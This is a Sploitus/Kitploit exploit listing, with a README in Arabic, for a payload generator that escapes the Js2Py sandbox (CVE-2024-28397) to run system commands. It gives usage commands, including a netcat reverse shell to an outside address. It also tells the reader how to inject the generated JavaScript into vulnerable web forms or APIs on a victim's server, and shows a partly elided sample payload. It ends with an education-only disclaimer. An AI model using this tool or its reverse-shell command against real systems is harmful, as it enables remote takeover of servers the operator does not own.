Sploitus

CVE-2024-28397-Js2Py-RCE-Exploit

kitploit · 2026-09-03

Exploit Code

MARKDOWN78 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XELOXA-CVE-2024-28397-JS2PY-RCE-EXPLOIT
![معاينة فنية](https://assets.kitploit.com/production/public/readmes/34573/4b8dc6c8d93d1771e9b85d692f7286ffc5d2847c76d8d23b8e415b4d205455f6.jpg)

> 💡 **غوص عميق:** انقر هنا لقراءة الإحاطة الفنية الكاملة (PDF).

# CVE-2024-28397: مولد حمولة الهروب من حماية Js2Py

![Python](https://img.shields.io/badge/Python-3.x-blue.svg) ![License](https://img.shields.io/badge/License-MIT-green.svg) ![CVE](https://img.shields.io/badge/CVE-2024--28397-critical.svg)

مولد حمولة احترافي لـ **CVE-2024-28397**. تقوم هذه الأداة بإنشاء كود JavaScript خبيث مصمم للهروب من حماية `js2py` (الإصدارات <= 0.74) وتنفيذ أوامر عشوائية على النظام المستهدف.

## 🚨 تفاصيل الثغرة

  * **معرف CVE:** CVE-2024-28397
  * **المكون المتأثر:** `Js2Py` <= 0.74
  * **التأثير:** تنفيذ أكواد عن بُعد (RCE) / الهروب من الحماية
  * **الآلية:** استغلال `Object.getOwnPropertyNames` للوصول إلى صنف `subprocess.Popen` الخاص بـ Python من داخل بيئة JavaScript.



## 🚀 الاستخدام

يقوم هذا السكريبت بتوليد حمولة JavaScript الدقيقة اللازمة لاستغلال الثغرة. لا تحتاج إلى تثبيت `js2py` لاستخدام هذه الأداة.

### 1\. توليد حمولة

قم بتشغيل السكريبت مع الأمر الذي تريد تنفيذه على جهاز الضحية.

root@kitploit:~
    
    
    # توليد حمولة لتنفيذ 'id'
    python3 exploit.py -c "id"
    

root@kitploit:~
    
    
    # توليد حمولة لـ Reverse Shell
    python3 exploit.py -c "nc -e /bin/bash 10.10.10.10 4444"
    

### 2\. مهاجمة الهدف

انسخ الإخراج الذي يولده السكريبت وحقنه في التطبيق الثغري (مثل: نموذج ويب، نقطة نهاية API، أو ملف إعداد يتم تحليله بواسطة `js2py`).

**مثال على الحقن:** إذا كان موقع ويب يأخذ إدخال المستخدم ويشغله باستخدام `js2py.eval_js(user_input)`، فسيؤدي لصق الكود المُولّد إلى تنفيذ أمرك على الخادم.

## 📝 مثال

root@kitploit:~
    
    
    $ python3 exploit.py -c "whoami"
    
        var output = "Initial";
        try {
            var leaked_wrapper = Object.getOwnPropertyNames({});
            // ... (الكود الخبيث الكامل) ...
            var res = Popen("whoami", ...).communicate();
            output = res;
        } ...
        output
    

## 👨‍💻 المؤلف

**Ali Sünbül (xeloxa)**

  * 📧 البريد الإلكتروني: some-email@example.com
  * 🌐 الموقع: xeloxa.netlify.app
  * 🐙 GitHub: @xeloxa



## ⚠️ إخلاء المسؤولية

تم تقديم هذا البرنامج **لأغراض تعليمية وبحوث أمنية فقط**. المؤلف لا يتحمل أي مسؤولية عن أي سوء استخدام لهذا الكود. تأكد من الحصول على إذن صريح قبل اختبار هذا على أي نظام لا تملكه.